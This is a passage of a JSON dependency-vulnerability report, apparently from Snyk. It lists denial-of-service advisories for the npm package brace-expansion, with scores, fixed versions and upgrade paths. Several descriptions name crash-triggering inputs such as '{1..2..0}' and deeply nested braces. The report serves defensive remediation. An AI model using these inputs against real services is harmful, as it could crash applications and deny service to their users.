2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
